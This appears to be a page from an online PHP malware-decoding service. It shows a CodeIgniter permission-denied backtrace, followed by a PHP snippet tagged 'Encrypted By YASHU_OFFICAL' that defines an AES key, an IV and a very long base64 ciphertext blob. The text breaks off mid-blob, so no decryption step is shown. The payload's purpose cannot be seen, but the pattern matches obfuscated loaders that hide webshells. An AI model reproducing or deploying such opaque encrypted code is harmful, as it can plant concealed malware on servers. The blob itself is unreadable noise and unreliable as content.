Severity: Warning
Message: copy(/var/www/malwaredecoder/index.php): failed to open stream: Permission denied
Filename: models/Decoder_model.php
Line Number: 39
Backtrace:
File: /var/www/malwaredecoder/application/models/Decoder_model.php
Line: 39
Function: copy
File: /var/www/malwaredecoder/application/models/Decoder_model.php
Line: 27
Function: check_restore_file
File: /var/www/malwaredecoder/application/controllers/Decoder.php
Line: 136
Function: decrypt
File: /var/www/malwaredecoder/index.php
Line: 315
Function: require_once
error_reporting(E_ALL);
ini_set('display_errors', 1);
// ======= Encrypted By YASHU_OFFICAL =======
$key = base64_decode('hxlG68x4Ug2IqXLXnBhlUwZQdpGzzB4Oy90XZF1Ces8=');
$iv = base64_decode('5+O0uAlAD8vWCQrGsyBjZQ==');
$encrypted_data = base64_decode('WDU5M2l1T3dKMW1WcTZtV0l3OXVVNzJ2VGdwZzZseGJ6SXNsZGhwRkFDdytoQUlLZmtGaUoxVFlCQ2k1b0hnWkpQMWNFZ21XNU0zN3RPSkhXOWNQWmMzcVV0cDBwTmJLQ3pPUVFJYVZ6amtFVkE3SzZvMUhOVkl3NEE3dThKZGJ0WjMzeWFIUFhWVXFvSDM4bGdkYUNoWGlRY2RVKzNyVzJRU1ArTDZSVzN2cDVjb2phendpY2VyT0VtVVhzcC9aeEw1Rk40TGFoVk44QzRId3VhalZxdkpMZ3g4QjgwbTIvQkJRdzFxVHZjbmFEemQra05PVUg3cGg0OEJjRDg2VlR5eE9IYXVpdk1mT3VrSU5qc1dIZWNIblVYVm4wcHcramVGR0xxR3hxYVNiWWR1VHRPbjZrWmRzNDdDQ1FXeHdXd0FEbjlMYUlCZHpENStyY0pNR1dIVVNyeSs1VDlZV3pUOE9jb2dRaVVWVmlsSm1ob0kzcEVHeFVWcExTa3lNZmU1UE1WdVJoQ3UvWU9FazBLd2JwbHorazZsaXhRQURWWTErZ01oR1BLSnVmZlFLM3hqa0VyUmMrc2xzWHZxUXFJYmVINGJ4eTU4OG02R3lJOVc3UUN6Qy9meVVvZW85YmZUSVdkLzU1WkFTU01tVG95Zkpzc3JScDhoUmUyWEc0MnQvM2pWWTRVUzM3dndhWnJuSVJaY0twcWdGQ29Jck5hSDh3NGNLUjBsQ2Y1NUc1MG1wN1V2WnB2Uld0eFZQWXpKUXdjcWVRckQ1aUZWZ1JrWEpaQnpYak9Gc1BZdFJBaHhvUUFEM1BFa2dnd0lIemlyY1A2WGZldDZyM2ZaRUlpS2RDd2YxSGllZGphYWx4TStRUUxZTnFreFR4bzJkSE44aFdJMGlSajhzZlpkME5IVFAxWGFPdUlkMnlBem9HVmFyaktYS3NkN3UwODQyZzk1OGZUZThVcGhRS0ZoK0xsbVNHSWVZWXRHVE9UeXBnZ050TVFsN08xdVh2YkxmK1RVTkVFRkdValhJazI0cERvNjBCN05xenNGdWVGeXlXaVA1R2hIWWVBMXVOK0Zwd3g3aWtjT1g1WGNnZ2ZIekVnM0RwNVVFdHhGczZkRFRqcUdsTkJGUFJpS2lhdG14V1dPVWgrM3ppSjd5T2hpSk5GRDdUUUVuZFlrQ1oydFhQdzVNcFM3bWpVMW1UOTlSdldRbXM0NVlMYjdxYm4ySXpGa0Rnend2Q3hjMHlCTm9EcVZRbE5CYmF2bGRlSDRjMlc3dGZlcThkRjJUVmRrNHBkYklKb2xsVzZsY1pGVlhCdnZ3ZUNWUUpEbkdZUSsveFRzQWwvSjY1dmsyUGk1Nit3SEREMEU2d0I0SXA2bzlkRXlRdWpTSDJOdUdNRExLREcrZ1M4TllWUFBFVm5IUGdEUitoRXVvZ0pNQ1J6U1JkSXlFQVJYU3hUQ056MlZKN2N6L2I0ZE04VXBHTEE4OWpvTExtaURuaWNkRjdwMFJhaUduUElCb0VvOEhqcG9yNldkemsxeTg0RUVaSDVHbXFMRVkwZSt3cTVKTk5PVmhEOGdSWjd1cmVCbGFGQk02dVpqZTlHSkQ4MFY2ZlVvTU1DOHM2MVFhdlhqU2pNRTlYOVoxRS8rY3BUbDdXcTA5WUwzNE9xQ3RQdElVZmNLcEQ3dGlVdjBIUEpleXJyNFJwQU1iY0NPcDdyRExKZ28vcmlwUXhMT2VxWlU4NEh5OFN2c1JZQUJMUkt4M0wzS1VUcFRKMVl0WVBFWDI5RWRQbVd5VHIxR2MvVTdmVllaNE1ZV1QweHR1ZWIzejJKY1FjSzNtMUozbExlVmEyTGxCSDRDSUV5ZnBrM3dMMUlYcXh4QnZWWWI3Z0JkWjM4RzBnMkFjSXIrcUlaM2RhOWgxQXFDSUM2TTMzNWxyQVpXOU5SRjhrUzZrSjI3eFI2bzAxVGI5cVZwN1hyU040em85cEdmUmd4RTVIWDNLMWp2ZzFVeDB0dXhBdjBtKzlXWXg2NW0rcit5azlJclVvRmlYZDNuNmFodEN4LzE2MFc5WmpYaktURlFkek5RRVowUThNWmoyNWVRcW1PWmU0eGFTV2gwYmtqT01HTktlbGIweTEvU3N5cFhleFVkN1I5TXdPQVVLY084N0lqbnZyWDI4Z2JaYXI1eXoxenFlK1RPTnlGQTNxelpWR2RnT3V5MnQrVjJpbTY2WVdZZVY3OVZ3aFRZVHloUEQrSE5ZUmQ2ekRFYUhYWGpmNVpycVJ5TDVjUldzc2Ywcm9hSGJiOUhlZHVDbnFid0NDOFlRc1NWeXZseVVVeGdPd0ZQU2dyUzVuanllWUw0YlBUZ1oxWUtEdWgxczJDRVAwWkJPNU9mRlVJcEtBSVluMnE0c2RTNGptYUFxb3lnRlk3aUNIYlE3LzBaVENRV1pjL29DV2xDajVMUEJoTEhQbDNxODVvYjZWOXE0VzNmSXloczZaVlFsVTdZMS9kUXFmUUZsVmlTNWxKZnlDVkpYWXBLNlMya0hnU0ZhWEJ3RlU5bXQ1U01yTWNKTzlDaS9YZ1pLUklwKytFbUpEVnlOYnk2clA0NHBMSkdlcVl6NUdwSnkrc2tZZ29wQ2pxMHFCU0tFcjIzd213SVBDSlJuSWdDMEZ3aGM1VENIRERPY1M0bzZWRGI3c0s1NjZkNU1aQmFXdFdYbkpnOFhQMnFIU2ZEejJNKzFEb2UvYVpmd2VaVXFSZE9HNDRLS0ZCQzNpZEhIMnR2endka1ZFVHVDeXZFaUswbEF1b3BGYnBqRGh5SnZQYzNPMDdINE1EeXJNdGdGSURQNlQzK0VpYlJ6YW1uMUJqSDhKR3hMVGFwSXh6R1ZrM2Iwb1JMbm81SEpzdlhiajBxT1BmM0hwYWl6R0tKTGUrZm5HSVUvZzBmenVPa0RIT2gwUk9iUWQ4YlA0TGIwMzFzTmZiMkpSdjIvQy85dWJzeVE4ZWc3WjJwRE1MN1dubHcxbU1QS1VhUmFISlFvM0RqL3pCVGM1RmVxUlY0TmhjOU1IMVllZ1lKeEpJS25qR2YyaVYrK3BQbW9ud2ZLblRXOGJKbWFvYkhhalUvTE1VME05Sm1yTDdnbklxbWJ0Z0RYZUtmYW5FMlFzVjhWLzR1QkZIRWdzS2pxcEZUM1lsMVltdyt4MkFBL0I2NWVTLzE2Zk5CZEZsaHNRWUQwdjhienAwZHZjZFowMUU1ZlNpMktsMGJPTXhzK2VPdEl6WWxJd2l3M1ZLeE5ZZWVWbXQ1NXUrSkloQngwMll4Um1SNmhEc1lES1FodEduOGlDYmFnb3lFV0h0RFpOS3BndlBnS0gxZ0lOeTJGZVVsejlIa3FLQjhlRTBRTXhwWWc5UVVLaE9jMXN0b0FwejU0OVRxNFhNZE1sellRZDBOMHpsVmZYT3NxU0lWazVTdHF0dWZwc3pJL1FTaUl4d3h1aEN1ellWZDFyaXBqZE8zQmFPcFN4ZVBWWHBVbDNsazBmejFiRWl5UGREZlN2RDFLRnZyaWlSekJwSTJPUnpxSjlEdzZjWmlGUEFLb244NStwdWV4eC93TFRRTlZPYWNYM0REQ0dHM3B0L2w4R3Z2a2w1MnRjNmVPZ09jZFRPZlVjR0RlYVQ4V0RCTkpHei9LL3lzZEZLN1RXb1ZXejdYWEdvb1FBQ3dmVTVGZ2dqdlV3dmxzR2FHK2FGVHgvN2hGSUYrdUFsTWduc2wvUUZETHFVR2NtSTFNRUtPNDVhM2pORFNicjNMaXdsWWI0VTFaRm9DZW9aV0FGa2gveEVWZUhYSzZyMUhnRlBWeGR1Q0tybU1qV1UrMlVtdnU3M25RWVF3bm9kT2V1cXRMRkNrRVBXOFBpRWtLMkcrNmQ5RzdMcmVxcGc2N2UvNFRTOXJKTFpUSkVsUnpFSWFGNmZhNHBaQjhKbmVnUWxyUDFINlF0Nkd3RzBzcjNSa3FwT2hTYk9leXJrd1VUVEp5a1N3K0wyTHpWbDBNQkRLc3NHVFdLd3BWdDIxMXVXZ1dNaEgxTEpQVm1KT1hlcUl5ZXpjbmI0WTE1Q1dDazBNamw1Qm9BUlpjV0JJWCswbjhGcS9hWlZYc3ZndzUxa3p1d2pqU2hmUlIxcEJnNVRZWWpSUlJWZTI0WnJLczBXSEk4dGlvWlJNNlU5MnJST25wcVJHUHFwZ21kNmtxSFozTGVUdmtHVnhObWM2SWt4WVZPTENxL1B4elRMdkdlRHh2bzFPZXd2TVlSMGdKU2c2dWZyaklzUjFpZklPemJiSzRsUE12K2JzQ1NtVGUzNk13ak1HbHdyYVF5NWxYbWZGRWpodnV0TUVzVmVnc2VZbjBLYTBEYThSWENkWUErMEwwWDBVOGZEaTcvdno0KzY2ZVV4dlNBN0JYTFUwQmZwb0U4djV1dkg0OEQ0dHAxSnZrZGxqK2JyMDNJK1JMRyttUG1relJIVElVWDZOcGIwTERJenMrYVVseHl6a0VDaWRkYWRTQUxnaTJqSUN1UEc5Tk92T2JwZlJOMTRyTjZRMS9XWUpNd0cvQ0VwWEczdHRDbEdyVWVmN3Irbkt0amYrZStadjl5M1RKaWRrMHBoSGZ1YXVxNFVGbW82dDNpd2NUSllrN2tyMnpKeHlkVlBRV1hGSnRjSk9nVjRDVUhZOFY3K0xnVE8ra0kwSEJlYm9TVk9OZi9OM1FJalZPUnpLMjExSlNVekVHSXdBd3oxV0VDNFhSaEJWM0licWlzVmlDWnBqejNtRlFHVXpoQ096cFdZWVN2NS90YmtjNDNucHJ4cTU3dU1ndGtMS1Ewelc0R0VxQmxJcFc0b2tUTklCZ3dYM3kyUExjMCtPd0RqeFM1L3FOK2dxdzdONzMzQ0xIY3V1R2lVMXFpMFFjSFVpSVM2bkdyWTFkREJmQitELzBoZVU1U2FOYmJhQXRKaVVGNXNiRzF3UWUzMmtqTGZ0czV2NGRvTVB5a0lZdGRqSjQrbml3SGZjWHhMVU5qZTE2RzhocEIxaHp5Qm5wN2xDTm41bTdtZy81STN2dUtqU2FLQmJzbXlJRnNNTlpZWlF1N3ppV3MzSUhRWjJpbTdhRkg0a01sWWNCVGo1SWhmUUVsQlNvL3VQR1gyUm8zckI1UlQ1bjl0Vk8vZ3ZzVTc4TW93NFNlWEFGLzkyQjV1Qk0wcGtzMW5RYWtFZ21OV0JpdzJnWnR5bk9jNEdFa3Q3b2VucEhpcjJVTnR0M3NzSjR4MlZsWEtXK2xleDZodGlTeTVwMkNidDZMNFZnRUJWK0lhTVhTRkdiSzQ5LzVCSlN5dlBEbUpGQUFDN29xejgyM25YRm05OW9yeC9uQWNNQk1qaWRwTkNGaTJVWndrZFp3ekdGMUJ3bDJ0T2QzZHBEb1pYaVNrU3RPcmp0Y0hWcWs3cktsVDdkRGpVUVhEaEVBcG9RRVFqZkNwMFVhRkxXUEVKUFpsUEhCS283MnVIOU1IRUpDR2kvRWZiSStqaG8ySW05cUR0elNsUnBscXRpZ281M1NEOGhtQ1BaMjVnQW9CQ2M5eFRjNnNCKzhlTUxVTWErelMxbFJML2o5b3hJb0IvVmRwdDU3Y1p3RG1BdVh2ejNHTEVpSXNmR0ZxOUJZWmtXdVdYQnJsb1d4VlJrdytrdTdFY3d5bXBSZDhCbjFjOW1tck9xQ0lqbkxJODdJcnNKWWlhMTFVNnNOcGdzY0Y4cmtGV0RUYm1sYUpaUjc0NTBWc2xiOGptYkRoeFZkWWhZYTNCNndQaGFzT0JCZzZVaFNIK094VHRqdzlLS29JWnVaWndxZ2x1emo4NnpLZms2QzNpMjRpZWNqV2FwSVFSVC9YQ0h1U0Jlakt6REVFUHhDNFFPeFhHdkJLWUZFdjhhai9FejZHZU5QdEgrT1R0OGV5elRKM1RkVVNXaXdqa3VKQ1d4ZDNqSXBUMmkxaXFUY2QyR3BFeVE2QUY5OGtKSmJodFNnZUVJQ3M0Wk9jVkxKOGNkbXUxRm1GMkFyTHFLdnJidWQvUFhJOTFiMTZ2ZHBwaEh5VXRvdzlQY2ZmL2ZnM3U0cDNNanFDWHBleFlhci9zSUhLblAySldOL1cydXhtUGpwT1RBQlAwajI2QUtYMVhabzFvL2FFSUJRQWxDYkdIR252anYyQk53Y212Snl2aVJsNHRQVFhFQ2w4cWNzZ28yQXhKOC8rbkI2c2VFUE94L1RaVWJ5N3dDNzZWQ1hhS1hWWFpHamVpYkppVEl1RHM1NmlmNW45WCs2SXpmSEhqR3hyY0k2MWRiVHplanJyV0VWMEZSNVY4ZDYxaEo1eG16dmhhYms0WWF1Wkh5cHpTWHc0YnE0Sis4eXR3Q01yYkZINUY4aHo2c3VGMDNNTy96cFdRRGx3M1RTSFVJVFZ1TlIvcXUwaFdNQ2NMeENVL3ZmYW1jWUVNUTVVVHlBNTFsUzFUZlpHYnd4Mmt4ZzgzdUY1S3R1Z0VJR01wNXRvUkdIRHlIdUdpSS9ReUordE9WTXhyRTBNenh0aE9taGh6WEY2S0lrNFBOYjNweHlBNkZ1Y2tZT0c1bXJIa091bUFubU5CcnlIbENKVkxIbFJDWWV3b1c5eHFIeVBrNWZ0S3ovemZtaHFFeE9Ndk9PcFN3ZzI0ZVpJeDJJK0lMMlhwdDZuZHlZakhsOXlXV2tscUlGaVBGVUppOWhGLzhhbDhVZGNTeVM1QmN1Y3VXT09USkl2Z285MkdYbC8rdkhkZXdsdU5ETlhoZE11OHpYZGdkOUlSRittVThPNFNjWFp5RjVSeFNYNnptVG9LK0xKNmpNa2xvM2VXM09tclBWUjNyNWV5c0VLZDArRUgzcGJJSzk4VWZZUVRKWGZLTnNOZDJmM1BwVFNMT3FDb01iSTlKTEZuUktGbkU1VXhmRlVTMTBjM0VFV1RCdzRYMGRqTm8zN2VkeGEzTlAxSlcwWHFzK1Z0UHMxV1YzZXhwbjc5YnkwNmpRTDhIWlV5eTZ5M21UQzJnRnc5L1hQZXplaTVEaXBIOFQ1UWY3UmY5aEJaVWhxR2VsVzA2UXJWQmNRZHlMbXlWZjJ6VmhIbVh4UUdTRHlGcG9nc1N5ZlpFejFZQ2QvYkF3OFhoZ2lVNHpMek8yRG80ZDE2L0dYcDN0c2FzaE05d2VCZU1Ed2FWVnBBbWtLSXZGN0hWVVYrQXNpdXhuNENTMitRZEpJVTR4ODFhSWVJb0tZaGRCQ3hFOEJiV1ZzalF2K3h3T3grMlhCQlJHWmc5RkZLbUZ3N2lVd1hjeFZ5NGJ5WEp6Tm1jcEc0eVhnNDlEQitzTUtXaXZNTi9Ub1k5TEw3MXFaRVU2aHNXZENvZCtxbk9PUU1LWFU0UHNGdFl3THFVT1Y0VVgzZ0NSMWJCTENmK2M3NFpvUjRLeEhJUGVQaGwyV01UdHJjd0lRVmZmMEVSb2F4RjlXNE1FMjRVVk5HODZxWG5xM3hNVDhXMThGNmRuaW9JNzdkcjQ5ellFVnBVRTJVSnRxd2ZqeWRVZ2E2Yk9ia09nVnZ4NzFSTXZ0V3JXQTBhSUlpQjdmTEM5Mi9ySzBkQ2FUdEptOU9JNGVYYzR3ZTFWcVBjVk11TFRIYklkNG0vYzF1ak9ZZXVRWUJSK25PTGdSc1hkZ0t1bkRmQzEvOWZLcUFUaW9MeTA1cGl2RkRkbG9yb01LU2RIZGYxdXlzUzNGZm1kZXM0WVJyb0J6MlgyTXZKbHpEeEY0TzZLRFlJaDlKQ2U3cm11R2lIdkcxWUo1REVrd01SNEppUHArTDdnRkozNmRJVzYxQW5QUWY2eGlsSlpjcUxoQXVocHA1OVRablJQYnhYRW9Vbi9ZTFlCU1BSRmJqY3FPRVdaNUZKU1UrUmFEMDdVTzliaU5Jak1SNEk5NWtCT1JlV1RFVFRBZHMwdDlNMk5iSUF3TUtkcUcyeDdTYVRSUkdrUEhyaDBrY2lyNGdxQnFRaHBjR2xWM0VhczgvcWFIS2dzbFF0RHYyYlRYZkRNY2pId3dSd0wweVdPNjRLVzRJdytKUEFLcUJsWlcyTXVWa3BtMHg5ZXZYR3Q1ZU9ZK1V6cmIyZE1lanpBKzIyRy94eU1seVF5SnQvdTFnSGhxU29YWHFvbzQ4TnhEUW9qYTlwZU5HU3FWeDd6Wk1RVFloQkxwSzdJWGZnUFFSMlczNTQ4ZExHbWMraEpuOTlZVVlvOG0ycVpBUDYxMXJNL3NyaXZHdXZCcWdHQnJXVEVHTS94R1h6WS9mVEhPblV0ZkJEUW9aNWRocUpzTmExbnk4Y2diVEhsWkZvaVo3VXJhdjRBVjN1VWpmdnV3VmVwZE1IMm9PenFxL1N6UWRaNk50SlFybk1JZVBKMFJYdXpjb0FvdFNLK0NFOVJ5dEN4YktXOFpsUmh2QVlMeklqMDk5Y0VPeDA4SUFFWmNxSGE5Rnk1Yk1TWGJ1dHdhOHhpVVlwaEZFaHBUcjR2UmR2QW9jay9xN1hIcXF3cUgxdkJJNHMrQjBDRXNmY2dWYkM4UGJuTWtpemhaUWJvNFIvY0pmTE5UWkFtTTdFNU1JdkxWUEhxU2lsZmpkNnJ6RHowWTdLNWhYVjNBZ3VWdDFGdEZjUmpEOXEvbnpvb1FTVlFmaDBiVGloQlRudFVienVzb0xLRW9WOFRmaVE4RnFZSnJtZWgvR3VnZk0xb1QwTkpLNUczdkxOOVlpeE56MmpiNEhuZVZyeFdJaWk5Tmt2djBidmg2b3QyMWxzdlNpQnEyWUY3MVdMRFo5bjdyeDhaYm9ZdWk2NlpWT0FpdU5Ga1RaM25BVWsyajAwTUt0a3g2OGdSR3pXeXkyLzNMektGUW5IcUZIdExjMkFyV0tRSW5mcXlrZjN6R1h1UGJmak0zbW1nVHVHajY3Vm94a1k0L3lrWDErRlkyU1BQVkhVK0ttb0JBUHJmbGdJczQwZnhRWlpIN0IvdlZMOU9WbjZlM3dmMDlZalVOVzduZHN4SHFvOEo2VEZBZnRXU1IraStzejJMY2NMQkZodEFBYkhzVDJIVXBtL1JhSEtERnVZeEtUNVhBSlRBVHBva0JvcTMrNHhiNTd6d2RncHpaV2Vzc0puaDI4NGN6NXA5azlJRVNpNXI5ZkN2ZWt0YmYwS1puak1VNGFGNXU4Y21kNEk1bk00UGE0ZWNaZXVWYW9JYkxmaXRhZzJEaDBTbnVrOFp3V0pWWlc3Nis5ZVMxeENhUDh2TnJhdDluRCtvaWdMdEpMS2VSVktSdUlBSC81NDROQlBNN3djOVI3L2doMFh2SUxxOUF6TEZhbWJPUG82emNlVS80VUlhOTV0NDFWRHdxRHU5T0c2VWFyVldNTEs1MEs1eW5pYkdVaVZMcVAyWFRnTS9mR1JUdHhTRno2RGVCb2U2SVFsclloc1VPVzlpdWVkYkI0WUZwRlE5dnNJZTREdWZEVmJoSmdUeWR2RzZ2QW5iR2lkaThneUYzRWFnc1B6TTc3Q0FrU0FkV29wV0s1eFpPTWtqaWlRdDNSNHlxRE9xVGgxM01wbVd6eWdmV01KK2ZSTWQyUXM5WVA0ZVZhN3VraU5vajVwcXNMdnBySjk2aEtZMDQ4Qy9JMWRiNnpoVWpTQVNLSEFRNTVhZ0IrQlpSdVlrUFAveVh4SEorUmtTd21pZVVsUklQcUdBVzBkcVB3cEc4K3ArOVR2MVd4cm92QnRTMFNTT0ZPQmFHSGQ4UURURWxaZTJQU2RZL1JzT1RjTE91T25VeVhtSGxIWkx5TE1FRmlBM01jbG81bXpMeUFvbWd1RXp2NHlNUzhJemJBdTZWWTVmTlhYTjlsd2NZaWx1VDBBM25WaWpiOXprN1VYUWNoT0h6UDlRQ1ZScFE4cU9sZndMVURmbXlDNy92SnE4aE16YXd3cW11M0pxWnNuSjVrSCtmWmhja2U4WTdVYWVmeHExd2t4aXk5MFRvdzQxMS9DSU1tOGNabG9Mam01cXdPQXNMOFlFTEdvVzdvdDlrbDhLc3gzcFdGTGVzWDFJL1RLQnk1dDA2RmcrckpPNXh1ejQxLzNTSzltdzUrU29ZWEUzRUF4WXVQbmpuT0VWbnRIVzZnbVptWktub0trT2VsQ21JVDhQWTZLUWliRkp5cFpvTVdXQnRBckxEUHRQcW1Rbjh6aG1JL252Sk9EbGc4U0lHcTFYZDdrNmxDZzhjL2NHblA1dzVqQ2hWQk9nVjRPa0FZWHdDTlk5M0xCOTM4ckFXSmVxZmFTbWtOZnJDT3BJSzhuZEFvYzIxNDR0dnY2cnJ6WmRJRWhWNXMvelh5QVdndTNNRnpoVGc0bUZ1YUtwZnAvRjU5dW8rTyttb0pMR2J4M3FPUWhheXVyZXFCZzZMNHNwZTFjWi8xdW10ZDRYR2NDWDNtZi9IZW1VaUVsRS94MDVkSHA4WlNjUitSazFHLzIydW4xM2M4aVdZSVNGZFFNTFl0YW9jTzExRFAycVIwSHRDZlhvb1BSS29zOUU5SDdRaG1yeE5PMGVDWG40ZXFySWk3aWJtMUJKMWRqdWxyektCYlFJbGxTdjhUcU5yNm5RK3ZadWp2NTV6bnh0bmV2VW9zVDN3ODRSbjE1MEFFQzYwWjBQWjIwNFQzL3AzZjJtbnZsazk1UnBZYktyWlkybVRDY1FjVW5PdVZtTEc2ek56UGk0TEltT2JnOUxON01xSE5IOEFkdFFuY1JjZjJjNThhRDI0MGpuZ01WL3BudEVxL0ptS0ZYQjB2ZjdWdlUwWTFYUGJmK1E2K2s3SW5rMTJEcUhIRTluMzY4OWZ0TE14VHd3aDVzV1NNdVZzUFdrWWdCS2MyaTRZTWdKTFhuak9qcDZzMjVRa2hlRjJBcWJDdHQvZ3BrYkpZYlBtQU51eENNTit6dGF0WWZPMHU2aXhIbVFLZFRGMkNDSG1PcHZ4bGFqR1I3SWdHTlB3UGtsQ2FiYUJLaUNTRTIrYW5RMzZmQW5PaXh0akVzQXJDRWFxaEtvS0pQSkRVQXpCa2FCdFBMd240MEZZY1YrS0ZBNXFaMk50dDNkVkpWS21ENXBWMERYV0RtOTA2VWJua2IxdmFzZ0xIelJweHJqV2U2U1hFZnBkK3FEbGJ0MzVmNUNhUnpReEY2TUdlYVMwSVhiUGhKOVBEQ0hnRlpjMEQxNGlvQmMvT2c0OXFMRUxhU0FrcFg2ZkUyd0trZjJYOWZuUUpmd1c2ZFl4V3l0SmhnQ2NJajBMekNjME43TjNzeDhZaTNPZGJCdkJaaHRGK0VYOVI3R0htTTEybVEwbDVFN3ZRa1ZlRk05MjNCaExuSDFtUmJNZGgrWkpzWFg1N1V6K2F6Q0JXYUZXY2prZkJIb2F1M2twWDdyb1dWWklsaDkxZzlyOGppMndZYzlzL0kzcUduWVl1K3FUMGxUdTNRWi9mNW16ayt3RS9UT3RwM01CTGVJdVlSNDRoZTNLaEhVYnRaUFhWWS9WK0o1OE1PVytDZ3FjQWJZLzlWZEdXaFdXY1BveDhGOVBDT2lLNnZHVnBhZGFpZnZvMWpnSVhIcGNFK2c2aXA5dndVVmhHL2tXM2h3bDhiWDF4dzd0MmlGaGh6ZnByeVphSzYrRFFpSHFpVWg3bVlhaElEd01PSDRqOTBrcGJTZWV2N2Y4Yi9oc1R3anhQTjdwRzhmMnpidVlmaE1RMURST21KZDJTL04yYlhIZkRPb2pEQ2RFS0JxZFh5ZmU3MERQU3R4aWo3TkVmME4rZldNdDdjQk84WGFvYlNIdFNvMnhnUWtmVWcwWXNhM3Z0L1BtbVp4M1hXOHJHd2RBMHI0TkZQaXpGUTBCMCtRZEpHK1RJRXhnWTZodi80OFJMUzhsNXF1OTUvUHEwbHB3a3NSVzZkU21SVDE3R0hLdXBMOTM3UmZXWFF1SnY3d3VqdDFUZG9hbmtJMWZ3TU5zL0VUbUNQOFNaUTl5OXR1b0E2NHZXUzJZZlNuOWJFbGlvSkNBODc5enBOVGVEYUZDcXpPWXpVNU1SSVpRajMrVkF4REk2eDNiOTV5emhKTld2cHFIUmRxYzhFL3p3UGEzcVkxeEY3N1hJcDgyWkV2U1p1eG8zdHFVOHVmTS8xUjU2Qjh4b01yOVFVT0pybURxbEZpVWE0ZjJBaU1ySUJJcE1SbS91bE40eE5wUGlpOVA1d2dva2xVQ01qTElnZzUxbzVreVhUWFhnUlRDSXM1Rm5oL0k5dTU0WG4zZElkK2lzd2tNbGsrcTFiYjFpeFdFSytLUWNFZzJMYWNiNmY0VHA0dDlOWEFmbGJRZ0RxMUhUdVQwMW5RSWpabnY0YmZQTjF3ZGpYRTdEK0RJSTJBMnJxMHo2amhiSDIzam4yQkdlcGI1cE9xUTU5S1o3aVRTcnlrVTVoN2RBTUJYejk3SU9oUy9wTXZwVmd5bTBOQVlQSUxTVS9rUWM0cUQ2NnlYMG5TcU9nT0Zwa2x5cSsrY3NoUmNmQUkyU1ZWQm9UUzZiaWdhOS9PaXVOeC83ekYrL2k4UW8vSDR0VFNwTnhESXlXa0hRemYybys0NjlQR3BuK2hOTzc5YXgyaUdoVnRSeTZYNkxTckVwSnJVVkYyNVd6ajhBVlRZMnNFOFNPVk04bTBnYmNwNnRzN0xjbER3amtaT2ptZEYrZW0zUmtpYTNRNWVpbmpnV3VrL08rd0dSdG5SNGFMVnluOG13OUczZkZCUnlwN3RZUnlTM05ZaTV2SkFhSTVSeWpqemNIKzNjaVlWVHdTMERUUHZZZjN2RDRNWHBGT05iOC9udTZ5bENoN0xhNFRSTlY1UzVuYTM0Y3oxaDhjRG1pV3BPZTNISVVXSExIdUh2WGY0VEd0M2QvTjB2MDc1TCtwaWljdjRNRm1xUDNqcDdWTGptVXM3QmV0ZktQQVFVSlVuazBINWlwVm9iLzUxcHh1TkxFSVJySXhsZVVPS0thWitrbyt4TkdkYnZMeWxkQXpISTVIQzNCRDJkSC9XK2RTL2NQU1NoSGFJcDVlR1VIbnA0VHFGNVF0TTlILzk0c2RuTzAvWVNpMDFtZkdweldrUnd5WmhDL1IxQkxtcUlESXY5ODZKZGhucHIwS0RBN0tDQ3V5Wnk0d3hURUNWRTFZTUx3Wkt0a3crYkxKOVJPekROUE5CcGc4bGJWTU9nOU9RWDVEeDk1Rit3UlJGM2NLTGJ3OEw5S3ZlZEJoR2RvV0U3LzR0WE1JRmlLVXVGSTJpUW1zNkdLMkNPUXdsQm5GbjI3Rk0zaHA1ZnFMY0ZOSFZvOU5CU0paUkJQaXF4T3NDVHcwdUNYQWxYV2VWSkpjUnNLODNZT09qbWRVOGlKTnJSd0ZjbW94ZFVOMk5ranNMVk1OSjd6TWRabTVDTTZsSTlTUTVwQUp3a1pZRzlKU0NzQzBDeDJNbTRpVHpubWd1dWNnRzFzbGJJUUtpOHFnSWcwRzYvQmFnWjdEZ2FtVWJwMXJ3dS9DREk1T3NabUNiZGl3RzRJamNiT3NNQ3VQUTY5RWQzK1YrOUNRQVgxclVrTXBUU2p4emJqaG54b1hsVDY4L2t6dllCckNrZGlFUXJPRksyYXJkRmJmZGRUWko5Q0pzN09ZWTVSVkNGV3FsVmhNTGlNUWUzamRHOW9GNHJzenE5a240VzJyNWNwQW92WXduTjZmdndRQ3NsSkdpaEdBbDBobExMcWNJM3BneXpCWUNYZHU3bkhaQmRNT3UzUm1Kd0tIV2xxL1oyQ1ZpeDlXcm96U3pVNGs1cVpZbXJPUWxxaXpQTHZhR2Z0MS9UaUZUaHJYaFNvbW5QT0xqR2ljZmE0UlI1c2U4bGhmOG9taUlBL1ExZUUyOFoxQ09tU2c2b3I2MEx0bDM0VnBYa0JuTWhnMUNOY1lXMEJyTHo4QjJYMGM4MzdnSjZmTGR2cTVlRlhMbDJsZmp3Mzc1RHVRaERWVXdrNWR2MEZOM1VYa3dHU3l5SHQveURWcjhQcHFVeWc3cTcrNzM0MG1UY2ZyNnFJcStKM2NEQ0tveGdRL3VGelZISUcxalBzNEpadkpKRlVoeDZPZm52alluSmpMZmdhMlZSMk5XRDg3U25RektnRTd4Z2xvSnZtVXRoMFptN0gyVGZKSDdoNERJMU5wb2ROKzRuRjlJandPcDNjWGJna0E3SmtQWXk2b2FXUldmOU1LS1c4QUw1dlR4R0trcklwam1RUy9FZnZjQUhyY0Q2eGFlZDQ5TVJLYXdmUGhicFVHeE9yNnFkbEdIblNYVXpwQU5KdThaR0ZNemhEUVlabk9GSStqUDMweHgzODlyU09nc3EzWmlRMUV6bFVVVzNTcm5KM01QYk1WcjdRMXNKVXR4RUR4OEVyMWQvN2FyY1RHOU5OS0F1VW83aks0WHdkQXVoMDZTNDd1b2VwaGhzU1FYaDE1bnZ1RU4zTHlCM1VFUkxwS3pqYmRqMVVOTFhDUDVTU0hYclprRmxUbUM5a2JTSCtGOEphQjFoVzJ3U0VIaVN5ZzFQWStBQitINnhkZEVWVnFCLzI2QkZlMTJhaGw2R1VEbjhzd3pndkNpTWNFMmdGVDJlU1paQTRhYlU5NUlDdkttenRsamE1UjYwajEvbVZpVUxDelNmMUtHK2pzQkhiSW56Zmx5MGtQYWZoN2Z3Sjljb2lHZmFpQ1dEK0RqTEsva3o1QUxWYjN5UysvdXd2UnF2TlIrc2ZqdVV5K2MvZjNpejFZOFBPZGUvVFpJUTNPRWZ6MENyckFyWXdlMFo0NCtEZ1JQQVpBQmg4eDhZZ3V0dDI3MnMwa2ZKTisvdWp1UEF2Nzk3d040b1NvQUVITlpnMGYxSm9keFJmS0N2dHZSZkFxcC9RODQvdW82aEVORUp1ZGtCMnQzRFF6ZDhaY3NlSk5NNGRZN1lFRDRiYnlHQ1RHaENaWGUra1l6d1F5OEZsV3puNWRxQWhPR3k3ZDZRNTNDS2V2ak01S1BSZVlBKy9ZOWVNbk1pSzNJTFllS3NabjRaT2w5eGFJcG